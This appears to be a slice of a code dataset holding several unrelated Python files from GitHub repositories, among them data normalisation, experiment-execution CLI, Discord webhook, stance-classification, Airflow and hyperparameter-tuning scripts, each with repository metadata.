df['AmountFinal'].min()\n\tma1 = df['AmountFinal'].max()\n\n\tmi2 = df['Margin %'].min()\n\tma2 = df['Margin %'].max()\n\n\tmi3 = df['ADI'].min()\n\tma3 = df['ADI'].max()\n\n\tmi4 = df['FactoriesFinal'].min()\n\tma4 = df['FactoriesFinal'].max()\n\n\tfor i in range(len(df)):\n\t\tAmountFinal_Normalized.append(MixMaxNormalized(float(df.iloc[i]['AmountFinal']), float(mi1), float(ma1)))\n\t\tMarginPer_Normalized.append(MixMaxNormalized(float(df.iloc[i]['Margin %']), float(mi2), float(ma2)))\n\t\tADI_Normalized.append(MixMaxNormalized(float(df.iloc[i]['ADI']), float(mi3), float(ma3)))\n\t\tFactoriesFinal_Normalized.append(MixMaxNormalized(float(df.iloc[i]['FactoriesFinal']), float(mi4), float(ma4)))\n\n\tdataDict = {\n\t\t\t'Constituency':\tdf['Constituency']\n\t\t\t,'AmountFinal': df['AmountFinal']\n\t\t\t,'state': df['state']\n\t\t\t,'Type':df['Type']\n\t\t\t,'Margin %': df['Margin %']\n\t\t\t,'isMPMinister':df['isMPMinister']\n\t\t\t,'centerAlignment':df['centerAlignment']\n\t\t\t,'stateAlignment':df['stateAlignment']\n\t\t\t,'rs_min_mplad_district':df['rs_min_mplad_district']\n\t\t\t,'is_backward':df['is_backward']\n\t\t\t,'ministry_comp_intersection':df['ministry_comp_intersection']\n\t\t\t,'amount':df['amount']\n\t\t\t,'non_backward':df['non_backward']\n\t\t\t,'not_aligned':df['not_aligned']\n\t\t\t,'Total':df['Total']\n\t\t\t,'Totalcsr':df['Totalcsr']\n\t\t\t,'ADI':df['ADI']\n\t\t\t,'FactoriesFinal':df['FactoriesFinal']\n\t\t\t,'AmountFinal_Normalized':AmountFinal_Normalized\n\t\t\t,'Margin%_Normalized':MarginPer_Normalized\n\t\t\t,'FactoriesFinal_Normalized':FactoriesFinal_Normalized\n\t\t\t,'ADI_Normalized':ADI_Normalized\n\t\t\t}\n\n\tDfOut = pd.DataFrame(dataDict)\n\tDfOut.to_csv('./2_MinMaxNormalized.csv', mode='a', index=False)","repo_name":"R0hit-Sharma/CSR-data-analysis","sub_path":"new regression/MinMaxNormalize.py","file_name":"MinMaxNormalize.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70793222760","text":"import argparse\nimport os\nfrom util import filesystem\n\n\nclass BaseOptions:\n \"\"\"This class defines options used during both training and test time.\n \"\"\"\n def __init__(self):\n \"\"\"Reset the class\n \"\"\"\n self.initialized = False\n self.parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n \n def initialize(self):\n self.parser.add_argument('--name', type=str, default='experiment_name',\n help='name of the experiment. It decides where to store samples and models')\n self.parser.add_argument('--checkpoints_dir', type=str, default='./checkpoints',\n help='models are saved here')\n self.parser.add_argument('--dataroot', default='./datasets/PhysVQA350',\n help='path to images (should have subfolders first, last, mask, segment)')\n self.parser.add_argument('--train_batch_size', type=int, default=1, help='training batch size')\n self.parser.add_argument('--test_batch_size', type=int, default=1, help='test batch size')\n self.parser.add_argument('--max-epoch', default=120, type=int, help=\"maximum epochs to run\")\n self.parser.add_argument('--eval-freq', default=1, type=int, help=\"evaluation frequency\")\n self.parser.add_argument('--seed', type=int, default=23, help='random seed')\n self.parser.add_argument('--use-perceptual-loss', action='store_true',\n help=\"use perceptual loss in addition to L2 loss\")\n self.initialized = True\n \n def get_options(self):\n \"\"\" Initialize the parser with user options (only once)\n \"\"\"\n if not self.initialized: # check if it has been initialized\n self.initialize()\n \n opts = self.parser.parse_args()\n return opts\n \n def print_options(self, opt):\n \"\"\"Print and save options\n It will print both current options and default values(if different).\n It will save options into a text file / [checkpoints_dir] / opt.txt\n \"\"\"\n message = ''\n message += '----------------- Options ---------------\\n'\n for k, v in sorted(vars(opt).items()):\n comment = ''\n default = self.parser.get_default(k)\n if v != default:\n comment = '\\t[default: %s]' % str(default)\n message += '{:>25}: {:<30}{}\\n'.format(str(k), str(v), comment)\n message += '----------------- End -------------------'\n print(message)\n\n # save to the disk\n expr_dir = os.path.join(opt.checkpoints_dir, opt.name)\n filesystem.mkdir(expr_dir)\n file_name = os.path.join(expr_dir, \"_opt.txt\")\n with open(file_name, 'wt') as opt_file:\n opt_file.write(message)\n opt_file.write('\\n')\n \n def parse(self):\n \"\"\"Parse our options, create checkpoints directory suffix, and set up gpu device.\"\"\"\n opt = self.get_options()\n\n self.print_options(opt)\n\n return opt\n","repo_name":"tayfunates/intuitive-physics","sub_path":"models/O2P2/options/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"42129069604","text":"import logging\nimport subprocess\nfrom typing import Dict, List, Union\n\nfrom rhsmlib.facts import collector\n\nlog = logging.getLogger(__name__)\n\n\nclass SupportedArchesCollector(collector.FactsCollector):\n \"\"\"\n Class used for collecting packages architectures of a host\n \"\"\"\n\n DEBIAN_DISTRIBUTIONS: List[str] = [\"debian\", \"ubuntu\"]\n\n def __init__(\n self,\n arch: str = None,\n prefix: str = None,\n testing: bool = None,\n collected_hw_info: Dict[str, Union[str, int, bool, None]] = None,\n ):\n super(SupportedArchesCollector, self).__init__(\n arch=arch, prefix=prefix, testing=testing, collected_hw_info=collected_hw_info\n )\n\n def get_arches_on_debian(self) -> Dict[str, str]:\n \"\"\"\n Try to return content of all supported packages architectures\n :return: dictionary containing architectures\n Otherwise, a dictionary with an empty string for 'supported_architectures' is returned.\n \"\"\"\n arches: List[str] = []\n\n try:\n arch: str = subprocess.check_output([\"dpkg\", \"--print-architecture\"]).decode(\"UTF-8\")\n if arch != \"\":\n arches.append(arch.rstrip(\"\\n\"))\n except Exception as e:\n log.error(\"Error getting dpkg main architecture: %s\", e)\n\n try:\n arch: str = subprocess.check_output([\"dpkg\", \"--print-foreign-architectures\"]).decode(\"UTF-8\")\n if arch != \"\":\n arches.append(arch.rstrip(\"\\n\"))\n except Exception as e:\n log.error(\"Error getting dpkg foreign architecture: %s\", e)\n\n return {\"supported_architectures\": \",\".join(arches)}\n\n def get_all(self) -> Dict[str, str]:\n \"\"\"\n Get all architectures of a debian / ubuntu host\n :return: dictionary containing architectures\n \"\"\"\n arch_info: Dict[str, str] = {}\n\n dist_name: str = self._collected_hw_info[\"distribution.name\"].lower()\n if any(os in dist_name for os in self.DEBIAN_DISTRIBUTIONS):\n arch_info = self.get_arches_on_debian()\n\n return arch_info\n","repo_name":"candlepin/subscription-manager","sub_path":"src/rhsmlib/facts/pkg_arches.py","file_name":"pkg_arches.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"18"} +{"seq_id":"14717181433","text":"import sys\nfrom argparse import ArgumentParser\nfrom pprint import pprint\n\nimport requests\n\nfrom cc_core.commons.exceptions import print_exception, exception_format, InvalidExecutionEngineArgumentException\nfrom cc_core.commons.files import load_and_read, dump_print\nfrom cc_core.commons.engines import engine_validation\nfrom cc_core.commons.red_secrets import get_secret_values\n\nfrom cc_faice.execution_engine.red_execution_engine import run as run_faice_execution_engine, OutputMode\nfrom cc_faice.commons.templates import complete_red_variables\nfrom red_val.red_validation import red_validation\n\nDESCRIPTION = 'Execute experiment according to execution engine defined in REDFILE.'\n\n\n# noinspection PyPep8Naming\ndef IntegerSet(s):\n return set(int(i) for i in s.split(','))\n\n\ndef attach_args(parser):\n parser.add_argument(\n 'red_file', action='store', type=str, metavar='REDFILE',\n help='REDFILE (json or yaml) containing an experiment description as local PATH or http URL.'\n )\n parser.add_argument(\n '-d', '--debug', action='store_true',\n help='Write debug info, including detailed exceptions, to stdout.'\n )\n parser.add_argument(\n '--format', action='store', type=str, metavar='FORMAT', choices=['json', 'yaml', 'yml'], default='yaml',\n help='Specify FORMAT for generated data as one of [json, yaml, yml]. Default is yaml.'\n )\n parser.add_argument(\n '--non-interactive', action='store_true',\n help='Do not ask for RED variables interactively.'\n )\n parser.add_argument(\n '--keyring-service', action='store', type=str, metavar='KEYRING_SERVICE', default='red',\n help='Keyring service to resolve template values, default is \"red\".'\n )\n parser.add_argument(\n '--preserve-environment', action='append', type=str, metavar='ENVVAR',\n help='Only valid for ccfaice. Preserve specific environment variables when running container. '\n 'May be provided multiple times.'\n )\n parser.add_argument(\n '--disable-pull', action='store_true',\n help='Only valid for ccfaice. Do not try to pull Docker images.'\n )\n parser.add_argument(\n '--leave-container', action='store_true',\n help='Only valid for ccfaice. Do not delete Docker container used by jobs after they exit.'\n )\n parser.add_argument(\n '--insecure', action='store_true',\n help='Only valid for ccfaice. Enables SYS_ADMIN capabilities in the docker container, to enable FUSE mounts.'\n )\n parser.add_argument(\n '--gpu-ids', type=IntegerSet, metavar='GPU_IDS',\n help='Only valid for ccfaice. Use the GPUs with the given GPU_IDS for this execution. GPU_IDS should be a '\n 'comma separated list of integers, like --gpu-ids \"1,2,3\".'\n )\n parser.add_argument(\n '--disable-retry', action='store_true',\n help='Only valid for ccagency. If present the execution engine should stop the experiment execution, if the '\n 'experiment failed. Otherwise cc-agency is allowed to retry the experiment.'\n )\n parser.add_argument(\n '--disable-connector-validation', action='store_true',\n help='If set, the connector validation functions are skipped'\n )\n\n\ndef main():\n parser = ArgumentParser(description=DESCRIPTION)\n attach_args(parser)\n args = parser.parse_args()\n result = run(**args.__dict__)\n\n if args.debug:\n dump_print(result, args.format)\n\n if result['state'] != 'succeeded':\n return 1\n\n return 0\n\n\ndef _has_outputs(red_data):\n \"\"\"\n Returns whether the given red data contains outputs.\n\n :param red_data: The red data to check\n :type red_data: Dict[str, Any]\n :return: True, if the given red_data contains outputs, otherwise False\n :rtype: bool\n \"\"\"\n\n batches = red_data.get('batches')\n if batches is not None:\n for batch in batches:\n outputs = batch.get('outputs')\n if outputs:\n return True\n else:\n outputs = red_data.get('outputs')\n if outputs:\n return True\n return False\n\n\nALLOWED_EXECUTION_ENGINE_ARGUMENTS = {\n 'ccfaice': [\n 'preserve_environment', 'disable_pull', 'leave_container', 'insecure', 'gpu_ids', 'disable_connector_validation'\n ],\n 'ccagency': ['disable_retry', 'disable_connector_validation']\n}\n\n\ndef _check_execution_arguments(execution_engine, **arguments):\n \"\"\"\n Checks whether the given arguments are valid for the faice execution engine.\n\n :param execution_engine: The execution engine to use. One of [\"ccfaice\", \"ccagency\"].\n :type execution_engine: str\n :param arguments: The given cli arguments. Possible arguments:\n [\"preserve_environment\", \"disable_pull\", \"leave_container\", \"insecure\", \"gpu_ids\", \"disable_retry\"]\n\n :raise InvalidArgumentException: If an invalid argument was found\n \"\"\"\n allowed_arguments = ALLOWED_EXECUTION_ENGINE_ARGUMENTS[execution_engine]\n invalid_arguments = []\n for key, value in arguments.items():\n if value:\n if key not in allowed_arguments:\n invalid_arguments.append(key)\n if len(invalid_arguments) == 1:\n raise InvalidExecutionEngineArgumentException(\n 'Found invalid cli argument \"{}\" for {}:'.format(invalid_arguments[0], execution_engine)\n )\n elif invalid_arguments:\n raise InvalidExecutionEngineArgumentException(\n 'Found invalid cli arguments for {}: {}'.format(execution_engine, ', '.join(invalid_arguments))\n )\n\n\ndef run(\n red_file,\n non_interactive,\n keyring_service,\n preserve_environment,\n disable_pull,\n leave_container,\n insecure,\n gpu_ids,\n disable_retry,\n disable_connector_validation,\n **_\n):\n \"\"\"\n Runs the RED Client.\n\n :param red_file: The path or URL to the RED File to execute\n :param non_interactive: If True, unresolved template values are not asked interactively\n :type non_interactive: bool\n :param keyring_service: The keyring service name to use for template substitution\n :type keyring_service: str\n :param preserve_environment: List of environment variables to preserve inside the docker container.\n :type preserve_environment: list[str]\n :param disable_pull: If True the docker image is not pulled from an registry\n :type disable_pull: bool\n :param leave_container: If set to True, the executed docker container will not be removed.\n :type leave_container: bool\n :param insecure: Allow insecure capabilities\n :type insecure: bool\n :param gpu_ids: A list of gpu ids, that should be used. If None all gpus are considered.\n :type gpu_ids: List[int] or None\n :param disable_retry: If True, the execution engine will not retry the experiment, if it fails.\n :type disable_retry: bool\n :param disable_connector_validation: If True, the execution engine will skip connector validation\n :type disable_connector_validation: bool\n\n :return: a dictionary containing debug information about the process\n \"\"\"\n secret_values = None\n result = {\n 'state': 'succeeded',\n 'debugInfo': None\n }\n try:\n red_data = load_and_read(red_file, 'REDFILE')\n\n secret_values = get_secret_values(red_data)\n red_validation(red_data, False)\n engine_validation(red_data, 'execution', ['ccfaice', 'ccagency'], 'faice exec')\n _check_execution_arguments(\n red_data.get('execution', {}).get('engine', 'ccfaice'),\n preserve_environment=preserve_environment,\n disable_pull=disable_pull,\n leave_container=leave_container,\n insecure=insecure,\n gpu_ids=gpu_ids,\n disable_retry=disable_retry,\n disable_connector_validation=disable_connector_validation\n )\n\n if 'execution' not in red_data:\n raise KeyError('The key \"execution\" is needed in red file for usage with faice exec.')\n\n complete_red_variables(red_data, keyring_service, non_interactive)\n\n # exec via faice or agency\n if red_data['execution']['engine'] == 'ccfaice':\n return run_faice(\n red_data, preserve_environment, disable_pull, leave_container, insecure, gpu_ids,\n disable_connector_validation\n )\n elif red_data['execution']['engine'] == 'ccagency':\n return run_agency(red_data, disable_retry, disable_connector_validation)\n\n except Exception as e:\n print_exception(e, secret_values)\n result['debugInfo'] = exception_format(secret_values)\n result['state'] = 'failed'\n\n return result\n\n\ndef run_faice(\n red_data, preserve_environment, disable_pull, leave_container, insecure, gpu_ids, disable_connector_validation\n):\n \"\"\"\n Runs the faice execution engine.\n\n :param red_data: The file to execute\n :type red_data: str\n :param preserve_environment: A list of strings containing the environment variables, which should be forwarded to\n the docker container.\n :type preserve_environment: list[str]\n :param disable_pull: Specifies whether to disable pull or not\n :type disable_pull: bool\n :param leave_container: Specifies whether to remove the container after experiment execution\n :type leave_container: bool\n :param insecure: Specifies whether to allow SYS_ADMIN capabilities\n :type insecure: bool\n :param gpu_ids: List of gpu ids specifying which gpus to use\n :type gpu_ids: list[int]\n :param disable_connector_validation: If set, the execution engine will skip connector validation\n :type disable_connector_validation: bool\n \"\"\"\n # use connectors, if red file specifies outputs\n if _has_outputs(red_data):\n faice_output_mode = OutputMode.Connectors\n else:\n faice_output_mode = OutputMode.Directory\n\n result = run_faice_execution_engine(\n red_data=red_data,\n disable_pull=disable_pull,\n leave_container=leave_container,\n preserve_environment=preserve_environment,\n insecure=insecure,\n output_mode=faice_output_mode,\n gpu_ids=gpu_ids,\n disable_connector_validation=disable_connector_validation\n )\n\n brief_exception_text = result.get('briefExceptionText')\n if brief_exception_text:\n print(brief_exception_text, file=sys.stderr)\n\n return result\n\n\ndef run_agency(red_data, disable_retry, disable_connector_validation):\n \"\"\"\n Runs the agency execution engine\n\n :param red_data: The red data describing the RED experiment\n :type red_data: dict[str, Any]\n :param disable_retry: Specifies, if the experiment should be repeated, if it failed\n :type disable_retry: bool\n :param disable_connector_validation: If set, the execution engine will skip connector validation\n :type disable_connector_validation: bool\n\n :return: The result dictionary of the execution\n :rtype: dict[str, Any]\n \"\"\"\n result = {\n 'state': 'succeeded',\n 'debugInfo': None\n }\n if 'access' not in red_data['execution']['settings']:\n result['debugInfo'] = ['ERROR: cannot send RED data to CC-Agency if access settings are not defined.']\n result['state'] = 'failed'\n return result\n\n if 'auth' not in red_data['execution']['settings']['access']:\n result['debugInfo'] = ['ERROR: cannot send RED data to CC-Agency if auth is not defined in access '\n 'settings.']\n result['state'] = 'failed'\n return result\n\n access = red_data['execution']['settings']['access']\n\n r = requests.post(\n '{}/red'.format(access['url'].strip('/')),\n auth=(\n access['auth']['username'],\n access['auth']['password']\n ),\n json=red_data,\n params={'disableRetry': int(disable_retry), 'disableConnectorValidation': int(disable_connector_validation)}\n )\n if 400 <= r.status_code < 500 or r.status_code == 200:\n try:\n pprint(r.json())\n except ValueError: # if the body does not contain json, we ignore it\n pass\n r.raise_for_status()\n\n result['response'] = r.json()\n\n return result\n","repo_name":"curious-containers/curious-containers","sub_path":"cc-faice/cc_faice/exec/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12260,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"} +{"seq_id":"11910004941","text":"from discord.ext import commands\n\nfrom boticordpy import BoticordWebhook, BoticordClient\n\nbot = commands.Bot(command_prefix=\"!\")\nboticord = BoticordClient(bot, \"boticord-api-token\")\n\nboticord_webhook = BoticordWebhook(bot, boticord).bot_webhook(\"/bot\", \"X-Hook-Key\")\nboticord_webhook.run(5000)\n\n\n@boticord.event(\"edit_bot_comment\")\nasync def on_boticord_comment_edit(data):\n print(data)\n\nbot.run(\"bot-token\")","repo_name":"kala4i4ek/boticordpy","sub_path":"examples/webhook.py","file_name":"webhook.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"752979767","text":"import spacy\nimport csv\nimport os\nimport sys\nimport re\nimport numpy as np\nfrom sklearn.externals import joblib\nfrom sklearn.svm import SVC\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom utils.dataset import DataSet\nfrom utils.generate_test_splits import kfold_split, get_stances_for_folds, generate_hold_out_split, get_stances\nfrom utils.score import report_score, LABELS, score_submission,print_confusion_matrix\nfrom feature_generator import generate_relatedness_features, generate_polarity_features, generate_test_stances\n\ndef writeToFile(text):\n\twith open(\"errors.txt\",\"a\") as f:\n\t\tf.write(text)\n\ndef write(self,filename):\n\tfield_names = ['Headline', 'Body ID', 'Stance']\n\twith open('my_output.csv', 'w', encoding='utf8') as f:\n\t\twriter = csv.DictWriter(f, fieldnames=field_names)\n\t\twriter.writeheader()\n\t\tfor row in self.stances:\n\t\t\twriter.writerows(row)\n\nnlp = spacy.load('en')\n\n#########Generate Training Features Section###########\nd = DataSet(\"data\")\ntrain_stances = get_stances(d)\ntrain_Xs, train_ys = generate_relatedness_features(train_stances,d,\"train.lemma\",nlp)\n\n\nX_train = np.vstack(tuple([train_Xs]))\ny_train = np.hstack(tuple([train_ys]))\n\ndel train_Xs\ndel train_ys\n\n#########Generate Test Features Section###########\nt = DataSet(split=\"test\")\ntest_stances = get_stances(t)\ntest_Xs, test_ys = generate_relatedness_features(test_stances,t,\"test.lemma\",nlp)\n\n\nX_test = np.vstack(tuple([test_Xs]))\ny_test = np.hstack(tuple([test_ys]))\n\n\n#########Training Section###########\nmodel = MLPClassifier(verbose=True)\nmodel1 = MLPClassifier()\n\n\nif os.path.isfile(\"relatednessModel.mdl\"):\n\tmodel1 = joblib.load(\"relatednessModel.mdl\")\nelse:\n\tmodel1.fit(X_train,y_train)\n\nprediction = model1.predict(X_test)\npredicted = [LABELS[int(a)] for a in prediction]\nactual = [LABELS[int(a)] for a in y_test]\n\ntemp_score, _ = score_submission(actual, predicted)\nmax_score, _ = score_submission(actual, actual)\n\nscore = temp_score/max_score\n\nhighestScore = score\nbestModel1 = model1\nbestPrediction = []\n\nfor m in range(1):\n\tmodel1 = MLPClassifier()\n\tprint(\"Testing relatedness classifier number \" + str(m))\n\n\tmodel1.fit(X_train,y_train)\n\n\t#########Prediction Section###########\n\tprediction = model1.predict(X_test)\n\tpredicted = [LABELS[int(a)] for a in prediction]\n\tactual = [LABELS[int(a)] for a in y_test]\n\n\ttemp_score, cm = score_submission(actual, predicted)\n\tmax_score, _ = score_submission(actual, actual)\n\n\tscore = temp_score/max_score\n\n\tif score > highestScore:\n\t\tprint(\"New score - \" + str(score) + \" is better than old score - \" + str(highestScore) + \" replacing.\")\n\t\thighestScore = score\n\t\tbestModel1 = model1\n\t\tbestPrediction = prediction\n\nif os.path.isfile(\"relatednessModel.mdl\"):\n\tos.remove(\"relatednessModel.mdl\")\njoblib.dump(bestModel1,\"relatednessModel.mdl\")\n\n\nprint_confusion_matrix(cm)\nprint(\"Score for related/unrealted testing was - \" + str(highestScore))\n\n\norig_prediction = bestPrediction\n#########--------------Agree/Disagre/Discuss Section---------------###########\ntrain_Xs, train_ys = generate_polarity_features(train_stances,d,\"train.lemma\",nlp)\n\nX_train = np.vstack(tuple([train_Xs]))\ny_train = np.hstack(tuple([train_ys]))\n\ndel train_Xs\ndel train_ys\n\nif os.path.isfile(\"polarityModel.mdl\"):\n\tmodel = joblib.load(\"polarityModel.mdl\")\nelse:\n\tmodel.fit(X_train,y_train)\n\n\ntest_Xs,test_ys = generate_test_stances(test_stances,t,\"test.lemma\",nlp)\nX_test = np.vstack(tuple([test_Xs]))\ny_test = np.hstack(tuple([test_ys]))\n\ni = 0\nc = 0\nfor val in prediction:\n\tif int(val) < 3:\n\t\tprediction[i] = model.predict(X_test[i].reshape(1,-1))\n\t\tc += 1\n\ti += 1\n\nprediction = orig_prediction\npredicted = [LABELS[int(a)] for a in prediction]\nactual = [LABELS[int(a)] for a in y_test]\n\ntemp_score, cm = score_submission(actual, predicted)\nmax_score, _ = score_submission(actual, actual)\n\nscore = temp_score/max_score\n\nbestModel = model\nhighestScore = score\nfor m in range(1):\n\tmodel = MLPClassifier()\n\tprint(\"Testing polarity classifier number \" + str(m))\n\tmodel.fit(X_train,y_train)\n\n\tprediction = orig_prediction\n\ti = 0\n\tc = 0\n\tfor val in prediction:\n\t\tif int(val) < 3:\n\t\t\tprediction[i] = model.predict(X_test[i].reshape(1,-1))\n\t\t\tc += 1\n\t\ti += 1\n\n\n\tpredicted = [LABELS[int(a)] for a in prediction]\n\tactual = [LABELS[int(a)] for a in y_test]\n\n\ttemp_score, cm = score_submission(actual, predicted)\n\tmax_score, _ = score_submission(actual, actual)\n\n\tscore = temp_score/max_score\n\n\tif score > highestScore:\n\t\tprint(\"New score - \" + str(score) + \" is better than old score - \" + str(highestScore) + \" replacing.\")\n\t\thighestScore = score\n\t\tbestModel = model\n\n\nprint_confusion_matrix(cm)\nprint(\"Score for full testing was - \" + str(highestScore))\n\nif os.path.isfile(\"polarityModel.mdl\"):\n\tos.remove(\"polarityModel.mdl\")\njoblib.dump(bestModel,\"polarityModel.mdl\")\n\n# SO a better way to do this would be to generate the polarity features for every data point and have them saved.\n# At that point, step through the predicted values from the first classifier, repredicting the value at each point\n# that isn't an unrelated point, and replacing that value in the predictions. Also need to generate a test set that\n# has the full output, which should be easily doable if I'm loading the polarity features for every test point, because\n# I'll just be feeding the vector I have for that point into the model to make a prediction, so the stances don't really\n# matter.","repo_name":"johnvblazic/fncFinalProject","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33119535895","text":"question= [\n\"How many continents are there?\",\"What is the capital of India?\",\"NG mei kaun se course padhaya jaata hai?\"\n]\noption = [\n[\"Four\", \"Nine\", \"Seven\", \"Eight\"], \n[\"Chandigarh\", \"Bhopal\", \"Chennai\", \"Delhi\"],\n[\"Software Engineering\", \"Counseling\", \"Tourism\", \"Agriculture\"]\n]\nsolution= [3, 4, 1]\ni=0\nwhile i> t >> send_message_monthly >> finish_send_monthly\n else:\n check_first >> t >> finish_send_monthly\n\nfor option in options:\n t = DummyOperator(\n task_id=option,\n dag=dag\n )\n if option == 'upload':\n is_oclock >> t >> [check_first, send_message_daily]\n else:\n is_oclock >> t >> end_job\n\nsuspend = SnowflakeOperator(\n task_id='suspend',\n snowflake_conn_id='snowflake_chequer',\n sql=\"\"\"alter warehouse airflow_warehouse suspend\"\"\",\n autocommit=True,\n trigger_rule='none_failed',\n dag=dag\n)\nfinish = DummyOperator(\n task_id='finish',\n trigger_rule='none_skipped',\n dag=dag)\n\n[finish_send_monthly, send_message_daily] >> finish_send >> end_job\nend_job >> suspend >> finish\n","repo_name":"roganOh/portfolio","sub_path":"chequer/chequerETL/run_dags/teams_webhook_total.py","file_name":"teams_webhook_total.py","file_ext":"py","file_size_in_byte":5172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22494396455","text":"import gc\nimport os\nfrom datetime import datetime\nfrom typing import Any, Dict, List, Tuple\n\nimport MinkowskiEngine as ME\nimport skopt\nimport torch\nimport yaml\nfrom torch.utils.data import DataLoader\n\nimport log\nimport models\nfrom cfg import read_config\nfrom data import SparseDataset, dataset_split, collation_fn_sparse\n\nDIM_DICT = {\n \"real\": skopt.space.Real,\n \"integer\": skopt.space.Integer,\n \"categorical\": skopt.space.Categorical\n}\n\n\ndef construct_dims(cfg: Dict[str, Any]) -> List[skopt.space.Dimension]:\n dims = []\n for k, v in cfg.items():\n space = v[\"space\"]\n if space == \"categorical\":\n dim = DIM_DICT[space](v[\"values\"], name=k)\n else:\n dim = DIM_DICT[space](v[\"lower_bound\"], v[\"upper_bound\"], name=k)\n dims.append(dim)\n return dims\n\n\ndef replace_in_dict(dictionary: Dict[str, Any], key: str, value: Any) -> Dict[str, Any]:\n for k, v in dictionary.items():\n if isinstance(v, Dict):\n return replace_in_dict(dictionary, key, value)\n if k == key:\n dictionary[k] = value\n return dictionary\n\n\nif __name__ == \"__main__\":\n torch.manual_seed(23)\n\n cfg = read_config(\"../cfg/tune_hparams.yaml\")\n train_cfg_path = cfg[\"train_cfg\"]\n cfg[\"train_cfg\"] = read_config(train_cfg_path)\n cfg[\"train_cfg\"] = replace_in_dict(cfg[\"train_cfg\"], \"epochs\", cfg[\"epochs\"])\n model_cfg_path = f\"../cfg/{cfg['train_cfg']['model'].lower()}.yaml\"\n cfg[\"model_cfg\"] = read_config(model_cfg_path)\n hparams_names = cfg[\"hparams\"].keys()\n\n device = torch.device(\"cuda\" if torch.cuda.is_available() and cfg[\"train_cfg\"][\"device\"] != \"cpu\" else \"cpu\")\n cpu = torch.device(\"cpu\")\n\n\n def evaluate(hparams: Tuple) -> float:\n for path, conf in [(train_cfg_path, cfg[\"train_cfg\"]), (model_cfg_path, cfg[\"model_cfg\"])]:\n for k, v in zip(hparams_names, hparams):\n conf = replace_in_dict(conf, k, v)\n with open(model_cfg_path, \"w\") as fp:\n fp.write(yaml.dump(cfg[\"model_cfg\"]))\n train_cfg = cfg[\"train_cfg\"]\n\n run = log.get_run()\n\n dataset = SparseDataset(train_cfg[\"dataset_dir\"], train_cfg[\"dataset_file\"],\n min_size=train_cfg[\"dataset_min_size\"], max_size=train_cfg[\"dataset_max_size\"])\n\n run[\"config/dataset/name\"] = train_cfg[\"dataset_dir\"].split(\"/\")[-1]\n run[\"config/batch_accum\"] = train_cfg[\"accum_iter\"]\n run[\"config/batch_size\"] = train_cfg[\"batch_size\"]\n\n train, test = dataset_split(dataset=dataset)\n\n g_train, g_test = torch.Generator(), torch.Generator()\n g_train.manual_seed(42)\n g_test.manual_seed(42)\n train_dataloader = DataLoader(dataset=train, batch_size=int(train_cfg[\"batch_size\"]),\n collate_fn=collation_fn_sparse,\n num_workers=train_cfg[\"no_workers\"], generator=g_train, shuffle=True)\n test_dataloader = DataLoader(dataset=test, batch_size=int(train_cfg[\"batch_size\"]),\n collate_fn=collation_fn_sparse,\n num_workers=train_cfg[\"no_workers\"], generator=g_test, shuffle=True)\n\n model = models.create(train_cfg[\"model\"])\n model.to(device)\n\n optimizer = torch.optim.AdamW(model.parameters(), lr=float(train_cfg[\"lr\"]),\n weight_decay=float(train_cfg[\"weight_decay\"]))\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=12, gamma=0.1)\n criterion = torch.nn.CrossEntropyLoss()\n\n log.config(run=run, model=model, criterion=criterion, optimizer=optimizer, dataset=dataset)\n\n accum_iter = int(train_cfg[\"accum_iter\"])\n for e in range(train_cfg[\"epochs\"]):\n train_dataloader.dataset.sample(e)\n model.train()\n for idx, (coords, feats, labels) in enumerate(train_dataloader):\n labels = labels.to(device=device)\n batch = ME.SparseTensor(feats, coords, device=device)\n try:\n labels_hat = model(batch)\n loss = criterion(labels_hat, labels) / accum_iter\n loss.backward()\n del labels_hat\n\n if not idx % accum_iter:\n optimizer.step()\n optimizer.zero_grad()\n except:\n pass\n\n if device == torch.device(\"cuda\"):\n torch.cuda.synchronize()\n torch.cuda.empty_cache()\n del (batch, labels)\n gc.collect()\n model.eval()\n with torch.no_grad():\n groundtruth, predictions = None, None\n for idx, (coords, feats, labels) in enumerate(test_dataloader):\n torch.cuda.empty_cache()\n\n batch = ME.SparseTensor(feats, coords, device=device)\n preds = model(batch)\n\n labels = labels.to(cpu)\n preds = preds.to(cpu)\n\n if groundtruth is None:\n groundtruth = labels\n predictions = preds\n else:\n try:\n groundtruth = torch.cat([groundtruth, labels], 0)\n predictions = torch.cat([predictions, preds], 0)\n except:\n pass\n\n scheduler.step()\n log.model(model=model, epoch=e)\n log.epoch(run=run, preds=predictions, target=groundtruth, epoch_num=e)\n\n score = run[\"eval/accuracy\"].fetch_values().max().value\n\n run.stop()\n return score\n\n\n dims = construct_dims(cfg[\"hparams\"])\n best_hparams = skopt.gp_minimize(evaluate, dims, n_calls=cfg[\"n_calls\"]).x\n line = \", \".join([str(f\"{k}: {v}\") for k, v in zip(hparams_names, best_hparams)])\n print(line)\n\n path = os.path.join('logs', 'best_hparams.txt')\n with open(path, 'a') as fp:\n fp.write(f\"{datetime.now()}, {line}\\n\")\n","repo_name":"jkarolczak/ligand-classification","sub_path":"scripts/tune_hparams.py","file_name":"tune_hparams.py","file_ext":"py","file_size_in_byte":6139,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"908531632","text":"import requests\n\n\ndef rqst_intell(name, token):\n url = f'https://superheroapi.com/api/{token}/search/{name}'\n data = requests.get(url)\n if data.status_code != 200:\n print(data.status_code)\n return False\n item = data.json()\n 